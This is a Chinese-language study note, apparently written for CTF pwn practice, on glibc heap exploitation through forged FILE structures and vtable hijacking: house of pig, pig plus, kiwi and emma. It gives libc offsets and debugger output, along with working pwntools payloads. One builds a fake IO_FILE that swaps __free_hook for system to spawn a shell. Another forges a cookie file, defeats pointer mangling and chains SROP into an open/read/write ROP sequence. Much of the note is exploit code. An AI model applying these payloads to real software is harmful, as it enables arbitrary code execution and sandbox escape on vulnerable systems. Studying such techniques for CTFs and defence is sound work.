堆summary
[TOC]
house系列
house系列的致命缺陷就是vtable是通过偏移调用函数 这种找vtable要根据源码去libc.so.6里面进行对比查找,同时也要根据已知版本的libc对应的附近去找 _IO_xxx_jumps集合
extern const struct _IO_jump_t _IO_file_jumps;
libc_hidden_proto (_IO_file_jumps)
extern const struct _IO_jump_t _IO_file_jumps_mmap attribute_hidden;
extern const struct _IO_jump_t _IO_file_jumps_maybe_mmap attribute_hidden;
extern const struct _IO_jump_t _IO_wfile_jumps;
libc_hidden_proto (_IO_wfile_jumps)
extern const struct _IO_jump_t _IO_wfile_jumps_mmap attribute_hidden;
extern const struct _IO_jump_t _IO_wfile_jumps_maybe_mmap attribute_hidden;
extern const struct _IO_jump_t _IO_old_file_jumps attribute_hidden;
extern const struct _IO_jump_t _IO_streambuf_jumps;
extern const struct _IO_jump_t _IO_old_proc_jumps attribute_hidden;
extern const struct _IO_jump_t _IO_str_jumps attribute_hidden;
extern const struct _IO_jump_t _IO_wstr_jumps attribute_hidden;
- house of pig
IO_str_vtable = libc_base + 0x1ED560 _IO_str_jumps
pwndbg> p &_IO_str_jumps
$6 = (const _IO_jump_t *) 0x7ffff7dd2560 <_IO_str_jumps>
- house of kiwi
pwndbg> p &_IO_file_jumps
$3 = (const _IO_jump_t *) 0x7ffff7dd24a0 <_IO_file_jumps>
pwndbg> p &_IO_helper_jumps
$4 = (const _IO_jump_t *) 0x7ffff7dd1960 <_IO_helper_jumps>
setcontext_addr = libc_base+libc.sym['setcontext']+61 //setcontext是有符号表的
io_file_jumps = libc_base+0x1E54C0
_IO_file_jumps可以直接ida查找text找到
io_helper_jumps = libc_base+0x1E48C0 //这个ida里面没有符号表,但是是__libc_IO_vtables段的第一个就是它
setcontext_addr = libc_base+libc.sym['setcontext']+61 //setcontext是有符号表的
- house of emma
_IO_cookie_jumps可以直接ida查找text找到
house of pig
必须要有exit函数会执行_IO_flush_all_lockp函数来遍历 FILE结构体,才能使用house of pig这条链
- 注意malloc,memcpy,free三连参数设置的情况
- 利用_IO_str_overflow的malloc,memcpy,free三连,设置FAKE_FILE的值,使得free_hook被覆盖为system函数,最后free就可以拿到shel
- 要让这个malloc正好得到的chunk是free_hook才行
IO_str_vtable = libc_base + 0x1ED560
system_addr = libc_base + libc.sym['system']
#因为返回的是mem位置,也就heap_base+0x147c0+0x10,所以只有2个p64(0)
fake_IO_FILE = 2*p64(0)
fake_IO_FILE += p64(1) #_IO_write_base = 1
fake_IO_FILE += p64(0x1000) # _IO_write_ptr = 0x1000
fake_IO_FILE += p64(0) #_IO_write_end=0
#_IO_write_ptr -_IO_write_base>(size_t)(IO_buf_end-IO_buf_base)+flush_only 同时
fake_IO_FILE += p64(heap_base+0x148a0) #IO_buf_base,heap_base+0x147c0+0xd0
fake_IO_FILE += p64(heap_base+0x148b8) #IO_buf_end, heap_base+0x147c0+0xd0+0x18
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr)
house of pig plus
注意house of pig都需要libc2.34以下,要有hook打才行 相比于house of pig,这个方法可以使用orw来绕过沙盒,同样需要有exit函数才行
- IO_str_overflow中一个特别之处,mov rdx,QWORD PTR [rdi+0x28]这条汇编指令,此时的rdi恰好指向我们伪造的IO_FILE_plus的头部,使得可以进行rdx的设置,进而可以使用setcontent函数进行srop
- 具体细节不多阐述
house of kiwi
无需exit()函数也可以进行!!! 条件:
- 能够触发__malloc_assert,通常是堆溢出导致
- 能够任意写,修改_IO_file_sync和IO_helper_jumps + 0xA0 and 0xA8
- assret中fflush(stderr)的函数调用,其中会调用_IO_file_jumps中的sync指针
- fflush函数中调用到了一个指针位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针,多次调试发现RDX始终是一个固定的地址
- 如果存在一个任意写,通过修改 _IO_file_jumps + 0x60的_IO_file_sync指针为setcontext+61,修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行orw
house of emma
使用方法:
- 伪造_IO_cookie_file
- 绕过 PTR_DEMANGLE,劫持pointer guard为一个堆地址 exp:
#guard和sterr目前的值都为ck0的堆地址
next_chain = 0
srop_addr = heap_base + 0x2ae0 + 0x10 #ck2的mem
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # vtable
fake_IO_FILE += p64(srop_addr) # cookie,也是rdi
fake_IO_FILE += p64(0) #_IO_cookie_read
#与 PTR_DEMANGLE机制反着来,异或后循环左移0x11
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11)) #_IO_cookie_write
#一个Signal Frame就有0xf8长度
fake_frame_addr = srop_addr #ck2的mem
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
'''
srop结束后,rdi=fake_frame_addr + 0xF8刚好是flag的地址,rsi=0
并且rsp=fake_frame_addr + 0xF8 + 0x10,也就是rop的地址,结束后刚好执行ret
正好frame前0x28个字节的值也不影响我们其他值的设置
'''
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop_data)
'''
stderr当前指向ck0,当触发assert后会按照_IO_cookie_io_functions_t偏移执行函数
执行write_cb (cfile->__cookie, buf, size)就相当于执行gadget,注意此时cookie=rdi=srop_addr
mov rdx,[rdi+8] ==》 rdx=fake_frame_addr
mov [rsp],rax ==》 没啥用
call [rdx+0x20] ==》 call setcontext_addr + 61 而此时rdx=fake_frame_addr
这一个gadget就刚好完成了rdx的设置和执行setcontext_addr + 61 !!!
'''
edit(0, fake_IO_FILE)
edit(2, payload)
#触发assert